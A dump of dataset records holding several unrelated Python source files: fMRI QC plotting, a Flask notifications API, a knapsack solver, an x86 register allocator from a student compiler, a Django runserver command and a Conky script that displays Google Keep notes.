np.std(data_reshaped_sorted/100)\n    \n    ax4 = pyplt.subplot2grid((5,3), (3,0), colspan=3)\n    ax4.figure.set_size_inches=(12,8)\n    ax4.imshow(data_reshaped_sorted/100, \n               interpolation='nearest', \n               aspect = 'auto', \n               #vmin=m-3*std, vmax=m+3*std,\n               vmin=-20, vmax=20,\n               cmap='gray')\n    ax4.set_yticks([])\n    ax4.axhline(hline_subcort, color='b',  linewidth=.8) \n    ax4.axhline(hline_wm, color='y',  linewidth=.8)\n    ax4.set_xticks([])\n    ax4.set_title('(Sub-)Cortex & WM voxel signals (minimal pre-processing)')\n    ax4.grid(False)\n    ax4.set_xlim([1,nvol])\n    \n    \n#    m = np.mean(data_post_reshaped_sorted/100)\n#    std = np.std(data_post_reshaped_sorted/100)\n    \n    ax5 = pyplt.subplot2grid((5,3), (4,0), colspan=3)\n    ax5.figure.set_size_inches=(12,8)\n    ax5.imshow(data_post_reshaped_sorted/100, \n               interpolation='nearest', \n               aspect = 'auto', \n               #vmin=m-3*std, vmax=m+3*std,\n               vmin=-20, vmax=20,\n               cmap='gray')\n    ax5.set_yticks([])\n    ax5.axhline(hline_subcort, color='b',  linewidth=.8) \n    ax5.axhline(hline_wm, color='y',  linewidth=.8)\n    ax5.set_xticks([1,nvol])\n    ax5.set_title('(Sub-)Cortex & WM voxel signals (post-processing)')\n    ax5.set_xlabel('Volume # (TR=1.96s)')\n    ax5.grid(False)\n    ax5.set_xlim([1,nvol])\n    \n    fig.suptitle('Power plots', fontsize='14')    \n    \n    return fig\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n    \n    \n    \n    \n    ","sub_path":"fmriqc/algorithms/qc_utils_ext.py","file_name":"qc_utils_ext.py","file_ext":"py","file_size_in_byte":12271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"300259188","text":"#!/usr/bin/python2.7\n\nfrom bson import json_util\nfrom bson.objectid import ObjectId\nfrom datetime import datetime\nfrom flask import request, Response\nimport json\n\nfrom models import users\nimport utils\n\n\ndef get_webapp_alerts():\n    \"\"\" Returns all webapp alerts as JSON. \"\"\"\n    alerts = utils.mdb.notifications.find({'type': 'webapp_alert', 'expired': False}).sort('created_on', -1)\n    alerts = list(alerts)\n    return Response(response=json.dumps(alerts, default=json_util.default), status=200, mimetype=\"application/json\")\n\n\nclass Alert:\n    def __init__(self, _id=None):\n        \"\"\" Initialize a webapp alert object from an _id. If one is not supplied,\n        create a new alert. \"\"\"\n\n        self.logger = utils.get_logger()\n        self.alert = {}\n\n        self._id = _id\n        if self._id is None and '_id' in request.json:\n            self._id = ObjectId(request.json['_id']['$oid'])\n\n        if self._id is None:\n            self.new()\n        else:\n            self.load()\n\n\n    def new(self):\n        \"\"\" Creates a new webapp alert; initializes. \"\"\"\n\n        self.alert = request.json\n\n        # sanity check the incoming\n        for req_var in ['body','title']:\n            if self.alert[req_var] is None:\n                raise utils.InvalidUsage(\"Webapp Alert key '%s' cannot be None type!\" % req_var)\n\n        self.alert['sub_type'] = self.alert['type']\n        self.alert['type'] = 'webapp_alert'\n        self.alert['created_on'] = datetime.now()\n        self.alert['created_by'] = ObjectId(self.alert['created_by'])\n        self.alert['expired'] = False\n        self.alert['release'] = utils.settings.get('api','version')\n        self.alert['remote_ip'] = request.remote_addr\n\n        # finally, save it and return it\n        self.alert['_id'] = utils.mdb.notifications.insert(self.alert)\n\n    def load(self):\n        self.alert = utils.mdb.notifications.find_one({'_id': self._id})\n        if self.alert is None:\n            raise utils.InvalidUsage('Notification %s does not exist!' % (self._id), status_code=404)\n\n    def expire(self):\n        self.alert['expired'] = True\n        self.alert['expiration'] = datetime.now()\n        utils.mdb.notifications.save(self.alert)\n        self.logger.warn(\"Expired notification %s\" % self.alert['_id'])\n\n    def serialize(self):\n        \"\"\" Serialize the alert. \"\"\"\n        return Response(response=json.dumps(self.alert, default=json_util.default), status=200, mimetype=\"application/json\")\n\n\n\n\n","sub_path":"v2/api.thewatcher.io/api/notifications.py","file_name":"notifications.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"296621459","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport knapsack\n\ndef read_input(input_data):\n    lines = input_data.split('\\n')\n\n    firstLine = lines[0].split()\n    item_count = int(firstLine[0])\n    capacity = int(firstLine[1])\n\n    items = []\n\n    for i in range(1, item_count+1):\n        line = lines[i]\n        parts = line.split()\n        items.append(knapsack.Item(int(parts[0]), int(parts[1]), i-1))\n\n    return capacity, items\n\ndef tries_greedies(capacity, items):\n    problem = knapsack.Problem(knapsack.Greedy(knapsack.MostDenseItemFirst()))\n    problem.solve(capacity, items)\n    \n    problem.change_way_of_solving(knapsack.Greedy(knapsack.MostLightItemFirst()))\n    problem.solve(capacity, items)\n    \n    problem.change_way_of_solving(knapsack.Greedy(knapsack.MostValuableItemFirst()))\n    problem.solve(capacity, items)\n    \n    return problem.solution\n\ndef try_dynamic_programming(capacity, items):\n    problem = knapsack.Problem(knapsack.BottomUpDynamicProgramming())\n    return problem.solve(capacity, items)\n\ndef try_branch_and_bound(capacity, items, solution = None):\n    # solver = knapsack.BranchAndBound(knapsack.DepthFirstExplorer())\n    solver = knapsack.BranchAndBound(knapsack.BestBoundExplorer())\n    \n    if solution is not None:\n        solver.change_initial_solution(solution)\n    \n    problem = knapsack.Problem(solver)\n\n    return problem.solve(capacity, items)\n\ndef is_there_enough_memory_for(capacity, items):\n    return capacity * len(items) < 20000001 # an arbitrary huge amount that shuold be less than 6/7 of the total ram in the runnning computer\n\ndef solve_it(input_data):\n    # parse the input\n    capacity, items = read_input(input_data)\n\n    # use dynamic programming\n    if is_there_enough_memory_for(capacity, items):\n        solution = try_dynamic_programming(capacity, items)\n    \n    else:\n        solution = tries_greedies(capacity, items) # use this one as initial solution\n        solution = try_branch_and_bound(capacity, items, solution)\n\n    # A solution knows its string representation \n    return str(solution)\n\n\nif __name__ == '__main__':\n    import sys\n    if len(sys.argv) > 1:\n        file_location = sys.argv[1].strip()\n        with open(file_location, 'r') as input_data_file:\n            input_data = input_data_file.read()\n        print(solve_it(input_data))\n    else:\n        print('This test requires an input file.  Please select one from the data directory. (i.e. python solver.py ./data/ks_4_0)')\n\n","sub_path":"knapsack/python/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"308743350","text":"# Andy Sayler\n# Fall 2012\n# CU CS5525\n# Python Compiler\n# Reg Alloc Module\n#\n# In conjunction with:\n#    Michael (Mike) Vitousek\n#       https://github.com/mvitousek/python-compiler-mmv\n#    Anne Gatchell\n#       https://github.com/halloannielala/compiler-5525\n\nimport sys\n\nfrom x86ast import *\n\nfrom utilities import generate_name\n\ndebug = False\n\nMAXITERATIONS = 9\n\ndef regname(reg):\n    if(isinstance(reg, Reg86)):\n        return reg.register\n    else:\n        raise Exception(\"Attempting to get name of invalid argument: \" + str(val))\n\nREGCOLORS = {\n    regname(EAX): 0,\n    regname(EBX): 1,\n    regname(ECX): 2,\n    regname(EDX): 3,\n    regname(ESI): 4,\n    regname(EDI): 5\n}\n\ndef liveness(instrs):\n\n    class instrVars:\n        def __init__(self, written, read):\n            self.written = written\n            self.read = read\n        def __str__(self):\n            return \"w:\" + str(self.written) + \" r:\" + str(self.read)\n\n    def validNode(val):\n        return isinstance(val, Var86)\n\n    def name(val):\n        if isinstance(val, Var86):\n            return val.name\n        else:\n            raise Exception(\"Attempting to get name of invalid argument: \" +\n                            str(val))\n    def extractVars(instr):\n        written = []\n        read = []\n        \n        # Unary read/write\n        if(isinstance(instr, Neg86)):\n            if(validNode(instr.target)):\n                written += [name(instr.target)]\n                read    += [name(instr.target)]\n        \n        # Unary read\n        elif(isinstance(instr, Push86)):\n            if(validNode(instr.value)):\n                read    += [name(instr.value)]\n        \n        # Unary write\n        elif(isinstance(instr, SetEq86) or\n             isinstance(instr, SetNEq86)):\n            if(validNode(instr.target)):\n                written    += [name(instr.target)]\n\n        # Binary read + read\n        elif(isinstance(instr, Comp86)):\n            if(validNode(instr.value)):\n                read    += [name(instr.value)]\n            if(validNode(instr.target)):\n                read    += [name(instr.target)]\n\n        # Binary read + read/write\n        elif(isinstance(instr, Add86) or\n             isinstance(instr, Sub86)):\n            if(validNode(instr.target)):\n                written += [name(instr.target)]\n                read    += [name(instr.target)]\n            if(validNode(instr.value)):\n                read    += [name(instr.value)]\n        \n        # Binary read + write\n        elif(isinstance(instr, Move86)):\n            if(validNode(instr.target)):\n                written += [name(instr.target)]\n            if(validNode(instr.value)):\n                read    += [name(instr.value)]\n\n        # No Action\n        elif(isinstance(instr, Call86),\n             isinstance(instr, Jump86),\n             isinstance(instr, JumpEqual86),\n             isinstance(instr, Label86)):\n            pass\n\n        # Unhandled Error\n        else:\n            raise Exception(\"regalloc: Un-handled Node liveness\")\n        \n        # Return\n        return instrVars(set(written), set(read))\n\n    def livenessSeq(instrseq, lafterbranch=set([])):\n        \n        # Copy and reverse instruction list\n        rinstrs = instrseq[:]\n        rinstrs.reverse()\n        instrs = []\n\n        # Iterate through list and build lafter\n        lafter = [lafterbranch]\n        for n in rinstrs:\n            if(isinstance(n, If86)):\n                # Branching Instruction\n                # Pop last item for passing to recursive call\n                previous = lafter.pop()\n                # Else Sequence\n                lafterelse, instrselse = livenessSeq(n.else_, previous)\n                instrselse.reverse()\n                lafterelse.reverse()\n                instrs += instrselse\n                lafter += lafterelse\n                # Then Sequence\n                lafterthen, instrsthen = livenessSeq(n.then, previous)\n                instrsthen.reverse()\n                lafterthen.reverse()\n                instrs += instrsthen\n                lafter += lafterthen\n                # Replace last item with union of last item output from lafters recursive calls\n                lafter += [lafterelse[-1] | lafterthen[-1]]\n            else:\n                # Normal Instruction\n                instrs += [n]\n                instrvars = extractVars(n)\n                lafter += [(lafter[-1] - instrvars.written) | instrvars.read]\n           \n        # Reverse and return lafter\n        instrs.reverse()\n        lafter.reverse()\n        return (lafter[1:], instrs)\n\n    return livenessSeq(instrs);\n\ndef interference(instrs, lafter):\n    #Setup Empty Graph\n    graph = {}\n    \n    def validNode(val):\n        return (isinstance(val, Var86) or (isinstance(val, Reg86) and (val in COLOREDREGS)))\n\n    def name(val):\n        if(isinstance(val, Var86)):\n            return val.name\n        elif(isinstance(val, Reg86)):\n            return val.register\n        else:\n            raise Exception(\"regalloc: Attempting to get name of invalid argument: \" + str(val))\n\n    def addEdge(x, y):\n        graph[x].add(y)\n        graph[y].add(x)\n    \n    def addKey(instr):\n\n        # value+target nodes\n        if(isinstance(instr, Move86) or\n           isinstance(instr, Add86) or\n           isinstance(instr, Sub86)):\n            if(validNode(instr.value)):\n                graph[name(instr.value)] = set([])\n            if(validNode(instr.target)):\n                graph[name(instr.target)] = set([])\n        \n        # value only nodes\n        elif(isinstance(instr, Push86)):\n            if(validNode(instr.value)):\n                graph[name(instr.value)] = set([])\n        \n        # target only nodes\n        elif(isinstance(instr, Neg86) or\n             isinstance(instr, SetEq86) or\n             isinstance(instr, SetNEq86)):\n            if(validNode(instr.target)):\n                graph[name(instr.target)] = set([])\n\n        # left right nodes\n        # TODO: Combine with target/value\n        elif(isinstance(instr, Comp86)):\n            if(validNode(instr.value)):\n                graph[name(instr.value)] = set([])\n            if(validNode(instr.target)):\n                graph[name(instr.target)] = set([])\n\n        # No Action for non-register instructions\n        elif(isinstance(instr, Jump86),\n             isinstance(instr, JumpEqual86),\n             isinstance(instr, Label86),\n             isinstance(instr, Call86)):\n            pass\n\n        # No Key Nodes\n        else:\n            raise Exception(\"regalloc: Attempting to addkey for invalid instr \" + str(instr))\n\n    def updateGraph(instr, live):\n\n        # If 'move' instruction\n        if(isinstance(instr, Move86)):\n            if(validNode(instr.target)):\n                t = name(instr.target)\n                # Loop through set\n                for v in live:\n                    # Add edge unless v=t or v=s\n                    if(v != t):\n                        if(validNode(instr.value)):\n                            s = name(instr.value)\n                            if(v != s):\n                                addEdge(t, v)\n                        else:\n                            addEdge(t, v)\n\n        # If arithmetic\n        elif(isinstance(instr, Add86) or\n             isinstance(instr, Sub86) or \n             isinstance(instr, Neg86)):\n            if(validNode(instr.target)):\n                t = name(instr.target)\n                # Loop through set\n                for v in live:\n                    # Add edge unless v=t\n                    if(v != t):\n                        addEdge(t, v)\n\n        # If call\n        elif(isinstance(instr, Call86)):\n            for v in live:\n                # Add edge for each callee save register\n                for reg in CALLEESAVE:\n                    if(validNode(reg)):\n                        r = name(reg)\n                        if(v != r):\n                            addEdge(r, v)\n\n\n        # If small reg\n        elif(isinstance(instr, SetEq86) or\n             isinstance(instr, SetNEq86)):\n            if(validNode(instr.target)):\n                t = name(instr.target)\n                # Add edge for each string (none GP) register\n                for reg in STRINGREGS:\n                    if(validNode(reg)):\n                        r = name(reg)\n                        if(t != r):\n                            addEdge(r, t)\n                # Loop through live set\n                for v in live:\n                    # Add edge unless v=t\n                    if(v != t):\n                        addEdge(t, v)\n\n        # No Action for read only and non-register instructions\n        elif(isinstance(instr, Jump86),\n             isinstance(instr, JumpEqual86),\n             isinstance(instr, Label86),\n             isinstance(instr, Push86),\n             isinstance(instr, Comp86)):\n            pass\n\n        # Unhandled Error\n        else:\n            #TODO Why Arn't These Being Raised for New Instructions?\n            raise Exception(\"regalloc: Un-handled Node %s\" % str(instr))\n\n    # Check Length\n    if(len(instrs) != len(lafter)):\n        raise Exception(\"Mismatched lengths\")\n\n    # Seed Graph\n\n    for reg in CALLEESAVE:\n        if(validNode(reg)):\n            graph[name(reg)] = set([])\n    for reg in STRINGREGS:\n        if(validNode(reg)):\n            graph[name(reg)] = set([])\n    for instr in instrs:\n        addKey(instr)\n\n    # Add edges\n    for n in range(len(instrs)):\n        updateGraph(instrs[n], lafter[n])\n\n    return graph\n\ndef color(graph, colors = {}, regOnlyVars = []):\n\n    def saturation(key):\n        sat = 0\n        # Loop through neighbors\n        for n in graph[key]:\n            if(colors[n] != None):\n                sat += 1\n        return sat\n\n    # Seed colors\n    for key in graph.keys():\n        if(not(key in colors)):\n            if(key in REGCOLORS):\n                colors[key] = REGCOLORS[key]\n            else:\n                colors[key] = None\n    \n    # Clear Register Assignments from Previous Passes\n    assigned = filter(lambda u: ((colors[u] != None) and\n                                 (not(u in REGCOLORS))), colors.keys())\n    for key in assigned:\n        if(colors[key] < len(REGCOLORS)):\n            colors[key] = None\n            \n    # Find all uncolord keys\n    w = filter(lambda u: colors[u] == None, colors.keys())\n    \n    while(len(w) > 0):\n        \n        # Find regOnlyKeys in Keys\n        priorityKeys = []\n        for key in w:\n            if(key in regOnlyVars):\n               priorityKeys += [key]\n        # Else use all keys\n        if(len(priorityKeys) == 0):\n            priorityKeys = w\n        \n        # Find key with max saturation\n        maxkeys = []\n        maxsat = -1\n        for key in priorityKeys:\n            sat = saturation(key)\n            if(sat > maxsat):\n                maxsat = sat\n                maxkeys = [key]\n            elif(sat == maxsat):\n                maxkeys += [key]\n        # Break ties\n        # Nothing to break currently\n        # Otherwise use first var\n        maxkey = maxkeys[0]\n        \n        # Select color for key with max saturation and remove from w\n        adjcolors = set([])\n        for n in graph[maxkey]:\n            if(colors[n] != None):\n                adjcolors.add(colors[n])\n        color = 0\n        while(1):\n            if(color in adjcolors):\n                color += 1\n            else:\n                colors[maxkey] = color\n                w.remove(maxkey)\n                break\n\n        # Double check reg only var assignment\n        if(maxkey in regOnlyVars):\n            if(colors[maxkey] >= len(REGCOLORS)):\n                raise Exception(\"Failed to place regOnlyVar in reg: \" +\n                                str(maxkey) + \",\" + str(colors[maxkey]))\n\n    return colors\n\ndef fixMemToMem(instrs, colors):\n\n    regTempPrefix = \"RegTmp\"\n\n    def validNode(val):\n        return isinstance(val, Var86)\n\n    def name(val):\n        if isinstance(val, Var86):\n            return val.name\n        else:\n            raise Exception(\"Attempting to get name of invalid argument: \" + str(val))\n\n    def addTemp(instr, tmp):\n        if(isinstance(instr, Add86)):\n            return [Move86(instr.value, tmp),\n                    Add86(tmp, instr.target)]\n        elif(isinstance(instr, Sub86)):\n            return [Move86(instr.value, tmp),\n                    Sub86(tmp, instr.target)]\n        elif(isinstance(instr, Move86)):\n            return [Move86(instr.value, tmp),\n                    Move86(tmp, instr.target)]\n        elif(isinstance(instr, Comp86)):\n            return [Move86(instr.value, tmp),\n                    Comp86(tmp, instr.target)]\n        else:\n            raise Exception(\"Cannot add temp to node: \" + str(instr))\n    \n    fixedInstrs = []\n    regOnlyVars = []\n\n    #Loop through instructions\n    for instr in instrs:\n        \n        # Binary read/write\n        if(isinstance(instr, Add86) or\n           isinstance(instr, Sub86) or\n           isinstance(instr, Move86) or\n           isinstance(instr, Comp86)):\n            if(validNode(instr.target) and \n               validNode(instr.value)):\n                # Find mem to mem operations\n                if((colors[name(instr.target)] >= len(REGCOLORS)) and\n                   (colors[name(instr.value)] >= len(REGCOLORS))):\n                    # Add temp var\n                    tmp = Var86(generate_name(regTempPrefix))\n                    fixedInstrs += addTemp(instr, tmp)\n                    regOnlyVars += [tmp.name]\n                else:\n                    fixedInstrs += [instr]\n            else:\n                fixedInstrs += [instr]\n        else:\n            fixedInstrs += [instr]\n\n    return (fixedInstrs, regOnlyVars)\n\ndef varReplace(instrs, colors):\n\n    def validNode(val):\n        return isinstance(val, Var86)\n\n    def name(val):\n        if isinstance(val, Var86):\n            return val.name\n        else:\n            raise Exception(\"Attempting to get name of invalid argument: \" + str(val))\n\n    def replace(node, colormap):\n        color = colors[name(node)]\n        if(color < len(REGCOLORS)):\n            # Set Register\n            return Reg86(colormap[color])\n        else:\n            # Set stack spill\n            return Mem86((color - len(REGCOLORS) + 1) * WORDLEN, EBP)\n\n    #Duplicate\n    instrs = instrs[:]\n\n    #Setup reverse dictionary\n    colormap = {}\n    for key in REGCOLORS:\n        colormap[REGCOLORS[key]] = key\n\n    #Loop through instructions\n    for instr in instrs:\n\n        # Unary read/write\n        if(isinstance(instr, Neg86)):\n            if(validNode(instr.target)):\n                instr.target = replace(instr.target, colormap)\n            \n        # Unary read\n        elif(isinstance(instr, Push86)):\n            if(validNode(instr.value)):\n                instr.value = replace(instr.value, colormap)\n        \n        # Unary write\n        # TODO: Combine with unary read/write case above\n        elif(isinstance(instr, SetEq86) or\n             isinstance(instr, SetNEq86)):\n            if(validNode(instr.target)):\n                instr.target = replace(instr.target, colormap)\n\n        # Binary read/write\n        elif(isinstance(instr, Add86) or\n             isinstance(instr, Sub86) or\n             isinstance(instr, Move86)):\n            if(validNode(instr.target)):\n                instr.target = replace(instr.target, colormap)\n            if(validNode(instr.value)):\n                instr.value = replace(instr.value, colormap)\n\n        # Binary read/read\n        elif(isinstance(instr, Comp86)):\n            if(validNode(instr.value)):\n                instr.value = replace(instr.value, colormap)\n            if(validNode(instr.target)):\n                instr.target = replace(instr.target, colormap)\n\n        # No Action\n        elif(isinstance(instr, Call86),\n             isinstance(instr, Jump86),\n             isinstance(instr, JumpEqual86),\n             isinstance(instr, Label86)):\n            pass\n        \n        # Unhandled Error\n        else:\n            raise Exception(\"regalloc: Un-handled Node during var replace\")\n\n    return instrs\n\ndef fixSmallRegs(instrs):\n\n    def validNode(val):\n        return isinstance(val, Reg86)\n\n    def replaceReg(reg):\n        return ONEBYTELOWREGS[reg]\n\n    #Duplicate\n    instrs = instrs[:]\n\n    #Loop through instructions\n    for instr in instrs:\n\n        # Single Byte Instructions\n        if(isinstance(instr, SetEq86) or\n           isinstance(instr, SetNEq86)):\n            if(validNode(instr.target)):\n                instr.target = replaceReg(instr.target)\n\n        # No CHnage Necessary\n        else:\n            pass\n\n    return instrs\n\ndef maxColor(colors):\n    maxcolor = -1\n    for key in colors:\n        color = colors[key]\n        if(color > maxcolor):\n            maxcolor = color\n    return maxcolor\n\ndef addPreamble(instrs, colors):\n    stackvars = maxColor(colors) - len(REGCOLORS) + 1\n    preamble = [Push86(EBP),\n                Move86(ESP, EBP)]\n    if(stackvars > 0):\n        preamble += [Sub86(Const86(stackvars * WORDLEN), ESP)]\n    return preamble + instrs\n\ndef addClosing(instrs):\n    closing = [Move86(Const86(0), EAX),\n               Leave86(),\n               Ret86()]\n    return instrs + closing\n\ndef regAlloc(instrs):\n    \n    (lafter, instrseq) = liveness(instrs)\n    if(debug):\n        sys.stderr.write(\"lafter      =\\n\" + \"\\n\".join(map(str, lafter)) + \"\\n\")\n    graph = interference(instrseq, lafter)\n    if(debug):\n        sys.stderr.write(\"graph       =\\n\" + str(graph) + \"\\n\")\n    colors = color(graph)\n    if(debug):\n        sys.stderr.write(\"colors      =\\n\" + str(colors) + \"\\n\")\n    iterations = 0\n    regOnlyVars = []\n    while(1):\n\n        (instrseq, newRegOnlyVars) = fixMemToMem(instrseq, colors)\n        fixcnt = len(newRegOnlyVars)\n        regOnlyVars += newRegOnlyVars\n\n        if(debug):\n            sys.stderr.write(\"regOnlyVars =\\n\" + str(regOnlyVars) + \"\\n\")\n            sys.stderr.write(\"fixcnt =\\n\" + str(fixcnt) + \"\\n\")\n            sys.stderr.write(\"iterations =\\n\" + str(iterations) + \"\\n\")\n\n        if(fixcnt == 0):\n            break\n\n        lafter, instrseq = liveness(instrseq)\n        graph = interference(instrseq, lafter)\n        colors = color(graph, colors, regOnlyVars)\n        iterations += 1\n\n        if(iterations > MAXITERATIONS):\n            raise Exception(\"Could not complete register allocation withen iteration limit\")\n        \n    instrseq = varReplace(instrseq, colors)\n    instrseq = fixSmallRegs(instrseq)\n    instrseq = addPreamble(instrseq, colors)\n    instrseq = addClosing(instrseq)\n\n    return instrseq\n","sub_path":"x86regalloc.py","file_name":"x86regalloc.py","file_ext":"py","file_size_in_byte":18533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"353629829","text":"from cStringIO import StringIO\n\nfrom django.contrib.staticfiles.management.commands.runserver \\\n    import Command as RunserverCommand\n\nfrom baph.core.management.validation import get_validation_errors\n\n\nclass Command(RunserverCommand):\n    def validate(self, app=None, display_num_errors=False):\n        s = StringIO()\n        num_errors = get_validation_errors(s, app)\n        if num_errors:\n            s.seek(0)\n            error_text = s.read()\n            raise CommandError(\"One or more models did not validate:\\n%s\" % error_text)\n        if display_num_errors:\n            self.stdout.write(\"%s error%s found\\n\" \n                % (num_errors, num_errors != 1 and 's' or ''))\n","sub_path":"baph/core/management/commands/runserver.py","file_name":"runserver.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"63581896","text":"#!/usr/bin/env python3\n# encoding: utf-8\n\nimport os, sys\n\nfrom bs4 import BeautifulSoup\n\nfrom conkyKeep.session_google import SessionGoogle\n\n# get path to app dir\npath = os.path.dirname(os.path.abspath(__file__))\n\n# get config file path\n# config file in same folde has higher priority\nconf_file = 'config.xml'\nif os.path.isfile(os.path.join(path, conf_file)): # config in same folder as conkyKeep.sh (../)\n    conf_path = os.path.join(path, '..', conf_file)\nelse: # config in ~/.config/conkykeep folder\n    try:\n        import appdirs\n        app_config_dir = appdirs.user_config_dir('conkykeep')\n    except:\n        app_config_dir = os.path.join(os.path.expanduser(\"~\"), '.config', 'conkykeep')\n\n    conf_path = os.path.join(app_config_dir, conf_file)\nif not os.path.isfile(conf_path):\n    print(\"ERROR: config file not found in: %s\" % (conf_path,))\n\n# get app resource paths\npath = os.path.dirname(os.path.abspath(__file__))\ncolors_path = os.path.join(path, 'colors')\n\nline_height = 17\nline_width = 8\nline_height_title = 16\nline_width_title = 10\n\ndef getColorPath(color):\n    \"\"\"\n    Returns:\n        pathToBackgroundImage\n    \"\"\"\n    return_path = os.path.join(colors_path, 'DEFAULT.png')\n    if color == 'TEAL':\n        return_path = os.path.join(colors_path, 'TEAL.png')\n    elif color == 'RED':\n        return_path = os.path.join(colors_path, 'RED.png')\n    elif color == 'GREEN':\n        return_path = os.path.join(colors_path, 'GREEN.png')\n    elif color == 'BLUE':\n        return_path = os.path.join(colors_path, 'BLUE.png')\n    elif color == 'GRAY':\n        return_path = os.path.join(colors_path, 'GRAY.png')\n    elif color == 'ORANGE':\n        return_path = os.path.join(colors_path, 'ORANGE.png')\n    elif color == 'YELLOW':\n        return_path = os.path.join(colors_path, 'YELLOW.png')\n    elif color in ['DEFAULT', 'WHITE', None, 'None']:\n        return_path = os.path.join(colors_path, 'DEFAULT.png')\n    else:\n        print(\"${color white}Unknown color %s${color}\" % (str(color),), end=\"\")\n\n    return return_path\n\ndef getNoteSize(note):\n    \"\"\"\n    Get needed resolution for background\n    \"\"\"\n    # background height\n    background_height = len(note['text'].split('\\n'))*line_height\n    background_height += line_height # hr\n    if note['title'].strip() != '':\n        background_height += line_height_title\n\n    # background width\n    width_title = len(note['title'])*line_width_title\n    maxl = 0\n    for l in note['text'].split('\\n'):\n        maxl = max(maxl, len(l))\n    width = maxl*line_width\n    width = max(width, width_title)\n    width = max(width, 330)\n\n    return background_height, width\n\ndef format_conky_note(note, vertical_offset=0, conky_width=330):\n    \"\"\"\n    note - dict with note info\n    vertical_offset - vartical position of note\n    conky_width - width of conky (max width of shown notes)\n    \"\"\"\n    # get path to background color image\n    colorPath = getColorPath(note['color'])\n\n    # background color height\n    height, width = getNoteSize(note)\n    background_height = height\n    background_width = width+10\n\n    # compute right goto\n    rgoto = conky_width-(background_width-10)\n    rgoto_text = rgoto+10\n\n    # add colored background\n  #  print(\"${image %s -p %i,%i -s %ix%i}\" % (colorPath, rgoto, vertical_offset, background_width, background_height), end=\"\")\n   # print(\"${color white}\", end=\"\")\n\n    # add vertical line\n   # print(\"${image %s -p %i,%i -s %ix2}\" % (os.path.join(colors_path, 'BLACK.png'), rgoto, vertical_offset, background_width))\n\n    # add title + text\n   # if note['title'].strip() != '':\n    #    print(\"${font monofur:pixelsize=15}${goto %i}%s${font}\" % (rgoto_text, note['title'].strip()))\n\n    print(\"${font monofur:pixelsize=14}\", end=\"\")\n    for line in note['text'].split('\\n'):\n        line = line.strip().replace(\"#\",\"\\#\").replace(\"$\",\"$$\")\n        print(\"${goto %i}${voffset 3}${alignr}%s\" % (rgoto_text, line))\n\n    # reset font + color\n    print(\"${color}${font}\", end=\"\")\n\n    # return new vertical offset\n    return background_height+vertical_offset-1\n\ndef get_config():\n    bs_conf = BeautifulSoup(open(conf_path, \"r\"), \"lxml\").configuration\n    conf = {}\n\n    # login info\n    login_conf = {'username': bs_conf.login.username.text.strip(), \\\n        'password': bs_conf.login.password.text.strip()}\n    conf['login'] = login_conf\n\n    # filter\n    filter_conf = {'ids':[], 'titles':[], 'removeall':False}\n\n    filt = bs_conf.find('filter')\n    if filt.find('removeall') is not None:\n        if 'yes' == filt.find('removeall').text.lower().strip():\n            filter_conf['removeall'] = True\n        else:\n            filter_conf['removeall'] = False\n\n    if filter_conf['removeall']:\n        ids = filt.findAll('allowid')\n        titles = filt.findAll('allowtitle')\n    else:\n        ids = filt.findAll('removeid')\n        titles = filt.findAll('removetitle')\n\n    for a in ids:\n        filter_conf['ids'].append(a.text.lower().strip())\n    for a in titles:\n        filter_conf['titles'].append(a.text.lower().strip())\n\n    conf['filter'] = filter_conf\n\n    return conf\n\ndef main():\n    config = get_config()\n    vertical_offset = int(line_height/2)\n\n    try:\n        session = SessionGoogle(config['login']['username'], \\\n            config['login']['password'])\n        notes = session.googleKeep_formatNotes(session.googleKeep_getNotes())\n    except Exception:\n      #  note = {\"color\":\"RED\", \"title\":\"\", \\\n       #     \"text\":\"ConkyKeep: Connection to GoogleKeep failed!!!\"}\n       # height, width = getNoteSize(note)\n        #format_conky_note(note, vertical_offset, width)\n        sys.exit(0)\n\n    filtered_notes = []\n    max_width = 0\n    for note in notes:\n        allowed = False\n        if config['filter']['removeall']:\n            if (note['id'] in config['filter']['ids']) or \\\n            (note['title'].lower() in config['filter']['titles']):\n                allowed = True\n        else:\n            if (note['id'] not in config['filter']['ids']) and \\\n                (note['title'].lower() not in config['filter']['titles']):\n                allowed = True\n\n        if allowed:\n            filtered_notes.append(note)\n            height, width = getNoteSize(note)\n            max_width = max(max_width, width)\n\n    for note in filtered_notes:\n        vertical_offset = format_conky_note(note, vertical_offset, max_width)\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":".config/conkykeep/conkyKeep/conky_keep.py","file_name":"conky_keep.py","file_ext":"py","file_size_in_byte":6368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
